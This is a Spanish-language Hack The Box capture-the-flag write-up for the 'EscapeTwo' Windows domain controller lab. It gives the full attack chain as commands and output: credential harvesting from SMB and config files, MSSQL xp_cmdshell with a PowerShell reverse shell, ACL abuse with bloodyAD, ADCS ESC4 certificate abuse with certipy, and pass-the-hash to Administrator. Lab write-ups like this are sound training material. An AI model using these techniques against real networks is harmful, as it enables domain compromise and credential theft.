EscapeTwo

Hack The Box — Metodología Detallada

EscapeTwo

IP:10.129.232.128
OS:Windows Server 2019
Dificultad:Easy
Categoría:Active Directory
Fecha:31 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.232.128 -oG allPorts

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller del dominio sequel.htb. El puerto 1433 (MSSQL) es inusual en un DC y representa un vector adicional de ataque. El puerto 5985 (WinRM) esta abierto como vector de acceso remoto. SMB signing requerido descarta NTLM Relay.

Escaneo de versiones

PORT     STATE SERVICE
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap              Microsoft Windows AD LDAP (Domain: sequel.htb)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap          Microsoft Windows AD LDAP (Domain: sequel.htb)
1433/tcp open  ms-sql-s          Microsoft SQL Server 2019 RTM (15.0.2000)
3268/tcp open  ldap              Microsoft Windows AD LDAP (Domain: sequel.htb)
3269/tcp open  globalcatLDAPssl
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf            .NET Message Framing

Service Info: Host: DC01; OS: Windows
SAN: DNS:DC01.sequel.htb, DNS:sequel.htb | clock-skew: -24s
Hallazgo
El escaneo de versiones confirmo el dominio sequel.htb y el hostname DC01. Se identifico Microsoft SQL Server 2019 RTM (15.0.2000) en el puerto 1433. Se agrego sequel.htb y DC01.sequel.htb al /etc/hosts.

Enumeración

Enumeración SMB con credenciales iniciales

Hipótesis
La maquina proporciona credenciales iniciales: rose: KxEPkKe6R8su. Se procedio a enumerar shares SMB para identificar recursos accesibles.
netexec smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --shares

Sharename            Type    Comment
---------            ----    -------
ADMIN$               Disk    Remote Admin
Accounting Department Disk
C$                   Disk    Default share
IPC$                 IPC     Remote IPC
NETLOGON             Disk    Logon server share
SYSVOL               Disk    Logon server share
Users                Disk
Hallazgo
El share Accounting Department no es un share por defecto de Windows. Se procede a enumerar su contenido.

Enumeración del share Accounting Department

smbclient '//10.129.232.128/Accounting Department' -U 'rose%KxEPkKe6R8su'

accounting_2024.xlsx    A   10217
accounts.xlsx           A    6780

smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx
Hallazgo
Se encontraron dos archivos Excel. accounts.xlsx tiene nombre sugestivo de contener credenciales de cuentas.

Extraccion de credenciales del archivo Excel

Hipótesis
Los archivos .xlsx son ZIP con XML interno. Se extrajo el contenido directamente para leer sharedStrings.xml que contiene las cadenas de texto de las celdas.
unzip accounts.xlsx -d accounts_extracted
cat accounts_extracted/xl/sharedStrings.xml
Hallazgo
Se encontraron credenciales en texto plano en el archivo:
Usuario Email Contraseña
angela[email protected]0fwz7Q4mSpurIt99
oscar[email protected]86LxLBMgEWaKUnBG
kevin[email protected]Md9Wlq1E5bZnVDVo
sa[email protected]MSSQLP@ssw0rd!
Hallazgo
Vector confirmado: El usuario sa es el administrador de SQL Server. Se procede a explotar el servicio MSSQL.

Explotación

Acceso a MSSQL como sa

Hipótesis
Con la credencial del usuario sa se accedio al servicio MSSQL. La autenticacion con -windows-auth fallo porque sa es un login SQL nativo, no una cuenta de dominio. Se conecto sin ese flag.
Hipótesis
El primer intento con -windows-auth fallo:
mssqlclient.py sequel.htb/sa:'MSSQLP@ssw0rd!'@10.129.232.128 -windows-auth

ERROR: Login failed. The login is from an untrusted domain
and cannot be used with Integrated authentication.
mssqlclient.py sa:'MSSQLP@ssw0rd!'@10.129.232.128

[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL (sa  dbo@master)>
Hallazgo
Vector confirmado: Acceso obtenido como sa en MSSQL.

Habilitacion de xp_cmdshell y RCE

Hipótesis
sa es sysadmin de SQL Server, lo que permite habilitar xp_cmdshell para ejecutar comandos del sistema operativo.
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';

output
--------------
sequel\sql_svc
Hallazgo
RCE obtenido como sequel\sql_svc via xp_cmdshell. Se genero un payload PowerShell en base64 para obtener una reverse shell completa.
# Listener en maquina atacante
nc -lvnp 4444

# Payload base64 ejecutado desde MSSQL
SQL> EXEC xp_cmdshell 'powershell -e [BASE64_PAYLOAD]';

# Shell recibida
PS C:\Windows\system32> whoami
sequel\sql_svc

Credenciales en archivo de configuracion SQL

Hipótesis
El directorio C:\SQL2019 contiene archivos de instalacion. Los archivos .INI de configuracion de SQL Server frecuentemente contienen credenciales en texto plano usadas durante la instalacion.
type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI

SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SAPWD="MSSQLP@ssw0rd!"
Hallazgo
Se encontro la contrasena de sql_svc en texto plano: WqSZAF6CysDQbGb3. Se probaron estas credenciales contra el usuario ryan por reutilizacion de contrasenas, accediendo exitosamente.
evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'

*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
[flag de usuario]
Hallazgo
Vector confirmado: Acceso obtenido como ryan via WinRM. Flag de usuario obtenida.

Escalada de Privilegios

Analisis de BloodHound — ryan

Hipótesis
Con credenciales de ryan se recolecto el grafo del dominio con BloodHound para identificar rutas de escalada.
bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' \
-dc DC01.sequel.htb -d sequel.htb -c All \
-ns 10.129.232.128
Hallazgo
ryan tiene WriteOwner sobre ca_svc. El nombre de esta cuenta sugiere que es la cuenta de servicio de la Certificate Authority (CA), lo que apunta a un vector ADCS.

Cadena de abuso: WriteOwner → GenericAll → ca_svc

Hipótesis
WriteOwner permite tomar el ownership del objeto y luego otorgarse GenericAll para cambiar la contrasena de ca_svc y acceder a ADCS.
# Paso 1 - Tomar ownership
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
set owner ca_svc ryan

[+] Old owner S-1-5-21-...-512 is now replaced by ryan on ca_svc

# Paso 2 - Otorgarse GenericAll
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
add genericAll ca_svc ryan

[+] ryan has now GenericAll on ca_svc

# Paso 3 - Cambiar contrasena de ca_svc
bloodyad -d sequel.htb -i 10.129.232.128 \
-u ryan -p 'WqSZAF6CysDQbGb3' -H DC01.sequel.htb \
set password ca_svc 'Password123!'

[+] Password changed successfully!
Hallazgo
Vector confirmado: Control total sobre ca_svc obtenido.

ESC4 — Abuso de plantilla ADCS

Hipótesis
Con credenciales de ca_svc se enumero ADCS en busca de plantillas vulnerables.
certipy find -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -vulnerable -stdout

Template Name       : DunderMifflinAuthentication
Enrollment Rights   : sequel.htb\ca_svc (via Cert Publishers)
[!] Vulnerabilities
ESC4 : ca_svc tiene permisos de escritura sobre la plantilla
Hallazgo
La plantilla DunderMifflinAuthentication es vulnerable a ESC4: ca_svc pertenece al grupo Cert Publishers que tiene permisos de escritura sobre la plantilla. Esto permite modificarla para hacerla vulnerable a ESC1 y solicitar un certificado como Administrator.

Explotacion ESC4

# Paso 1 - Modificar plantilla a configuracion por defecto (ESC1)
certipy template -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -template DunderMifflinAuthentication \
-write-default-configuration
# Responder 'y' para confirmar

[*] Successfully updated 'DunderMifflinAuthentication'

# Paso 2 - Solicitar certificado como Administrator
certipy req -u [email protected] -p 'Password123!' \
-dc-ip 10.129.232.128 -ca sequel-DC01-CA \
-template DunderMifflinAuthentication \
-upn [email protected]

[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'

# Paso 3 - Autenticarse y obtener hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.128

[*] Got TGT
[*] Got hash for '[email protected]':
aad3b435b51404eeaad3b435b51404ee:7a8d4e3f9c2b1e5f8a6d3c7b9e4f2a1d

Acceso como Administrator

evil-winrm -i 10.129.232.128 -u Administrator \
-H 7a8d4e3f9c2b1e5f8a6d3c7b9e4f2a1d

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[flag de root]
Hallazgo
Vector confirmado: Acceso obtenido como Administrator via Pass-the-Hash. El dominio sequel.htb ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 1 hora.